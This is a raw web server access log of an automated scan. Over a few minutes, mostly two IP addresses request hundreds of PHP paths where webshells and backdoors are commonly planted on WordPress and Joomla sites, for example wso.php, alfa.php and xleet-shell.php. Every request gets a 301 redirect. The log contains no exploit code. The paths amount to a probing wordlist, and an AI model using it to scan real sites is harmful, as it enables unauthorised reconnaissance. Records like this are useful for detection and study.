[18/Apr/2025:21:54:42 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:42 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:42 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:43 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:43 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:43 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:44 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:44 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:45 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:45 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:45 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:46 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:46 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:46 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:47 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:47 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:48 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:48 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:49 -0400] "GET /wp-content/themes/seotheme/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:49 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:49 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:49 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:50 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:50 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:50 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:51 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:51 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:51 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:52 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:52 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:52 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:53 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:53 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:54 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:54 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:54 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:54 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:55 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:55 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:56 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:56 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:56 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:57 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:58 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:58 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 64.227.187.69 - - [18/Apr/2025:21:54:58 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 13.74.150.99 - - [18/Apr/2025:21:54:59 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:59 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:00 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:01 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:01 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:01 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:02 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:02 -0400] "GET /wq.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:04 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:04 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:05 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:05 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:07 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:07 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:55:08 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:55:08 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:09 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:10 -0400] "GET /.well-known/acme-challenge/shop.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:10 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:12 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:12 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:13 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:13 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:14 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:14 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:14 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:15 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:15 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:16 -0400] "GET /includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:16 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:17 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:17 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:18 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:19 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:19 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:20 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:20 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:21 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:22 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:55:22 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 13.74.150.99 - - [18/Apr/2025:21:55:22 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:23 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:23 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:23 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:24 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:24 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:25 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:25 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:25 -0400] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:25 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:26 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:26 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:27 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:27 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:28 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:28 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:29 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:29 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:30 -0400] "GET /e69ovfsr.php/install.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:31 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:32 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:33 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:33 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:34 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:34 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:36 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:36 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:38 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:38 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:39 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:40 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:40 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:40 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:42 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:42 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:43 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:43 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:45 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:45 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:45 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:46 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:46 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:47 -0400] "GET /wp-content/plugins/sid/sidwso.php/vuln.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:47 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:48 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:49 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:49 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:50 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:51 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:51 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:52 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:52 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:52 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:53 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:53 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:53 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:54 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:54 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:54 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:55 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:55 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:56 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:56 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:57 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:57 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:58 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:58 -0400] "GET /wp-content/plugins/Core-Econ/1.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:58 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:55:59 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:55:59 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:00 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:00 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:01 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:01 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:02 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:03 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:03 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:04 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:04 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:04 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:04 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:05 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:05 -0400] "GET /wp-admin/css/lock.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:06 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:07 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:08 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:08 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:09 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:10 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:11 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:11 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:12 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:13 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:56:13 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:56:14 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:14 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:16 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:17 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:19 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:20 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:22 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:22 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:23 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:23 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:25 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:25 -0400] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:27 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:27 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:28 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:28 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:30 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:30 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:32 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:32 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:33 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:33 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:35 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:35 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:37 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:37 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:38 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:38 -0400] "GET /wp-admin/js/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:39 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:39 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:41 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:41 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:42 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:42 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:43 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:43 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:44 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:44 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:45 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:45 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:45 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:46 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:47 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:47 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:48 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:48 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:49 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 